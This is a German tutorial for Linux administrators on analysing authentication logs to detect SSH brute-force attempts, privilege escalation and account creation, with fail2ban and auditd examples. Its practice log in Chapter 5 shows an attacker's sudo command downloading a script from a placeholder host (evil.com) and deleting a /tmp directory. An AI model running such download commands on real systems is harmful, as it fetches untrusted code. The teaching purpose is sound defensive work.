Einleitung: Warum Autorisierungslogs die erste Verteidigungslinie sind

Jede Aktion in einem Linux-System beginnt mit einer Autorisierung. Ob es sich um eine interaktive Anmeldung über die Konsole, eine SSH-Verbindung, die Ausführung eines Befehls mit sudo oder die Anmeldung an einer grafischen Oberfläche handelt – der Kernel und die Dienste protokollieren diese Ereignisse in Logdateien.

Für einen Systemadministrator ist die Fähigkeit, Autorisierungslogs zu lesen, nicht nur eine Fähigkeit, sondern die Grundlage digitaler Hygiene. Früher oder später wird jeder Server mit automatisierten Scannern und Bots konfrontiert, die Passwörter erraten. In diesem Artikel erklären wir, wo Sie die Spuren von Angreifern finden, wie Sie legitime Anmeldungen von Anomalien unterscheiden und eine grundlegende Überwachung einrichten.

Kapitel 1: Anatomie der Protokollierung. Wo suchen?

In modernen Distributionen gibt es zwei Hauptansätze zur Speicherung von Logs:

  1. Traditionelles Syslog: Textdateien im Verzeichnis /var/log/. Hier ist der Dienst auth oder authpriv für die Autorisierungsprotokollierung verantwortlich.
  2. Systemd Journal: Binäre Logs, auf die mit dem Befehl journalctl zugegriffen wird.

Wo finde ich die entscheidenden Zeilen?

  • Hauptdatei: /var/log/auth.log (Debian, Ubuntu, Mint).
  • Hauptdatei: /var/log/secure (RHEL, CentOS, Fedora, AlmaLinux).
  • Universelle Methode (systemd): journalctl -u ssh.service oder mit grep nach auth filtern.

Professioneller Tipp: Bei der Einrichtung von Rsyslog dupliziere ich immer kritische Autorisierungslogs auf einen entfernten Server (Log Collector). Falls ein Angreifer eindringt und die lokalen Logs löscht, haben Sie eine Sicherungskopie.

Kapitel 2: Lesen Sie Logs wie ein Detektiv. Analyse der Schlüsselereignisse

Jeder Logeintrag besteht aus einem Zeitstempel, dem Hostnamen, dem Prozess und der Nachricht selbst. Wir interessieren uns für die Prozesse sshd, login, sudo, su, gdm-password und den Kernel (kernel).

2.1. SSH-Überwachung (Das häufigste Szenario)

SSH ist das Haupttor für die Fernverwaltung und damit das Hauptziel der meisten Angriffe.

Erfolgreiche Anmeldung: ```bash

Anzeige erfolgreicher Anmeldungen der letzten 24 Stunden

grep "Accepted" /var/log/auth.log | grep "sshd" `` Beispiel für einen Eintrag:Mar 26 14:35:21 web-server sshd[12345]: Accepted password for root from 192.168.1.100 port 54322 ssh2` Analyse: Hier sehen wir, dass sich der Benutzer root erfolgreich von der IP 192.168.1.100 mit einem Passwort angemeldet hat.

Fehlgeschlagener Versuch (Brute-Force): bash grep "Failed password" /var/log/auth.log Beispiel für einen Eintrag: Mar 26 14:36:45 web-server sshd[12346]: Failed password for invalid user admin from 45.155.205.144 port 33908 ssh2 Rote Flagge: Ein Anmeldeversuch für einen nicht existierenden Benutzer admin von einer ausländischen IP. Das ist fast immer ein Scanner.

Analyse von "Invalid Users": Wenn Sie viele Versuche für Benutzer wie test, ubuntu, user, mysql sehen, handelt es sich um einen Bot, der gängige Konten errät. Das Vorhandensein von Einträgen über invalid user ist ein 100%iger Beweis für eine Aufklärungsaktivität.

2.2. Wer spielt mit sudo? (sudo und su)

Das Erhöhen von Privilegien ist ein kritisches Ereignis. Selbst wenn ein Angreifer sich als normaler Benutzer anmeldet, wird er früher oder später versuchen, sudo su - auszuführen.

Erfolgreiche sudo-Nutzung: bash grep "sudo:" /var/log/auth.log Mar 26 14:40:01 web-server sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash Analyse: Der Benutzer john hat den Befehl /bin/bash erfolgreich mit Root-Rechten ausgeführt. Wenn john keine sudo-Rechte haben sollte, ist das ein Sicherheitsvorfall.

Fehlgeschlagene sudo-Nutzung (falsches Passwort oder keine Rechte): Mar 26 14:41:23 web-server sudo: john : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash

Wechsel zu einem anderen Benutzer (su): Mar 26 14:45:01 web-server su: (to root) john on /dev/pts/0 su: pam_unix(su:auth): authentication failure; logname=john uid=1000 euid=0 tty=/dev/pts/0 ruser=john rhost= user=root — Wenn es hier viele failure-Einträge gibt, versucht der Benutzer möglicherweise, das Root-Passwort zu erraten.

2.3. Sitzungsbeginn und -ende

Es ist wichtig, nicht nur zu wissen, wer sich angemeldet hat, sondern auch, wann er sich abgemeldet hat und was er getan hat. Dies hilft, eine Chronologie der Ereignisse zu erstellen.

Sitzungsbeginn: session opened for user root by (uid=0) Sitzungsende: session closed for user root

Wenn eine Sitzung geöffnet und nicht geschlossen ist, läuft der Prozess noch. Überprüfen Sie dies mit den Befehlen who und ps aux.

Kapitel 3: Jäger der Anomalien. Erkennung verdächtiger Muster

Nur das Lesen von Logs ist langweilig. Lernen wir, sie zu analysieren.

3.1. Top 10 der Angreifer (Analyse nach IP)

Dieser Befehl zeigt Ihnen, welche IP-Adressen am häufigsten mit falschen Passwörtern an Ihren Server geklopft haben:

bash grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20 Erklärung: Wir nehmen die Logs der fehlgeschlagenen Passwörter, extrahieren die IP-Adresse (normalerweise die vorletzte), sortieren sie und zählen die eindeutigen Vorkommen. Wenn Sie eine IP mit über 1000 Versuchen sehen, können Sie sie sofort in der Firewall sperren.

3.2. Geografie der Angriffe

Angenommen, Sie möchten wissen, woher die Anfragen kommen. Installieren Sie das Tool geoiplookup. Ein einfaches Skript kann Ihnen zeigen, ob es sich um einen Nachbarn im Rechenzentrum oder einen Hacker aus einem anderen Land handelt. Eine ungewöhnliche Geografie für Ihr Geschäftsumfeld ist ein Grund zur Besorgnis.

3.3. Ungewöhnliche Anmeldezeiten

Eine Person arbeitet im Büro von 9 bis 18 Uhr. Wenn Sie eine erfolgreiche Anmeldung des Benutzers ivanov um 3 Uhr morgens sehen und Ivan nicht der Bereitschaftsadmin ist, ist das ein Grund zu prüfen, ob seine Schlüssel gestohlen wurden.

3.4. Sprünge bei der UID (Benutzern)

Manchmal erstellen Angreifer ihre eigenen Benutzer. Überprüfen Sie die Logs auf die Erstellung neuer Konten: bash grep "useradd" /var/log/auth.log grep "new user" /var/log/auth.log

Kapitel 4: Automatisieren Sie die Überwachung. Werkzeuge und Best Practices

Es ist mühsam für einen Menschen, ständig in die Logs zu schauen. Dafür gibt es Dämonen.

4.1. fail2ban – der Klassiker

Fail2ban analysiert Autorisierungslogs in Echtzeit. Sobald es N fehlgeschlagene Versuche von einer IP sieht, fügt es eine Regel zu iptables/nftables hinzu und sperrt den Angreifer.

Beispielkonfiguration für SSH (/etc/fail2ban/jail.local): ini [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 ; Sperren nach 3 Fehlversuchen bantime = 3600 ; Für 1 Stunde findtime = 600 ; Innerhalb der letzten 10 Minuten

4.2. Auditd (Tiefenüberwachung)

Wenn Sie den Verdacht haben, dass das System bereits kompromittiert ist, reicht Syslog möglicherweise nicht aus. Hier kommt auditd ins Spiel.

Es kann nicht nur die Tatsache der Anmeldung verfolgen, sondern auch, welche Dateien der Benutzer nach der Anmeldung gelesen hat. Eine Regel zur Überwachung des Lesevorgangs der Datei /etc/shadow: bash auditctl -w /etc/shadow -p wa -k shadow_watch Danach landen die Logs in /var/log/audit/audit.log. Deren Analyse ist komplexer, aber sie enthalten mehr Details (z.B. das Datum des Befehls mit Mikrosekunden-Genauigkeit und den vollständigen Kontext).

4.3. Einfache Slack/Telegram-Benachrichtigungen

Sie können ein einfaches Skript einrichten, das tail -f /var/log/auth.log überwacht und bei Auftreten des Wortes "Accepted" oder "FAILED" für wichtige Benutzer eine Benachrichtigung an einen Messenger sendet. So erfahren Sie schneller von verdächtigen Aktivitäten, als der Kunde sich über Verzögerungen beschweren kann.

Kapitel 5: Praktische Übung. Analyse eines echten Logs

Stellen Sie sich vor, Sie öffnen /var/log/auth.log und sehen folgendes Bild:

Mar 27 03:12:01 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:15 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:30 myhost sshd[2341]: Failed password for invalid user root from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:45 myhost sshd[2341]: Failed password for root from 10.10.10.55 port 45123 ssh2 Mar 27 03:13:01 myhost sshd[2341]: Accepted password for root from 10.10.10.55 port 45123 ssh2 Mar 27 03:13:02 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/rm -rf /tmp/.X11-unix Mar 27 03:13:10 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/script.sh

Was ist hier passiert? 1. 03:12:01-03:12:30 — Brute-Force-Angriff auf die Benutzer oracle und root von der IP 10.10.10.55 (wahrscheinlich ein interner Server, aber es könnte auch eine gefälschte IP oder ein Netzwerknachbar sein). 2. 03:12:45 — Letzter fehlgeschlagener Versuch für root. 3. 03:13:01 — Erfolgreiche Anmeldung für root von derselben IP. fail2ban hat nicht angesprochen (zu wenige Versuche, oder es ist deaktiviert). 4. 03:13:02 — Sofort nach der Anmeldung löscht root ein Verzeichnis in /tmp (möglicherweise zur Spurenbeseitigung oder um einen Dropper zu verstecken). 5. 03:13:10 — Herunterladen eines Skripts von einer externen Quelle.

Schlussfolgerung: Das System ist kompromittiert. Das Root-Passwort wurde erraten oder war dem Angreifer bereits bekannt. Der Server muss sofort vom Netz genommen werden, und der Vorfall muss untersucht werden (Speicherabbild erstellen, Logs sichern usw.).

Fazit: Ihr Aktionsplan

Um ruhig schlafen zu können, machen Sie sich dies zur Regel:

  1. Zentralisierung: Leiten Sie alle auth-Logs an einen separaten Server weiter (Graylog, ELK Stack oder einfach syslog-ng).
  2. Blockierung: Aktivieren und konfigurieren Sie fail2ban für SSH. Das wird 99% der automatisierten Angriffe abwehren.
  3. Tägliche Analyse: Überfliegen Sie täglich die Top 10 der fehlgeschlagenen Anmeldeversuche und erfolgreiche Anmeldungen außerhalb der Arbeitszeiten.
  4. Verzicht auf Passwörter: Verwenden Sie nach Möglichkeit SSH-Schlüssel (RSA/Ed25519). Logs über erfolgreiche Anmeldungen mit Schlüsseln (Accepted publickey) sind viel sauberer und schwerer zu fälschen.

Autorisierungslogs sind Ihr Frühwarnsystem. Behandeln Sie sie nicht als nutzlosen Ballast auf Ihrer Festplatte, sondern als unschätzbare Quelle für Informationen über die Sicherheit Ihrer Infrastruktur.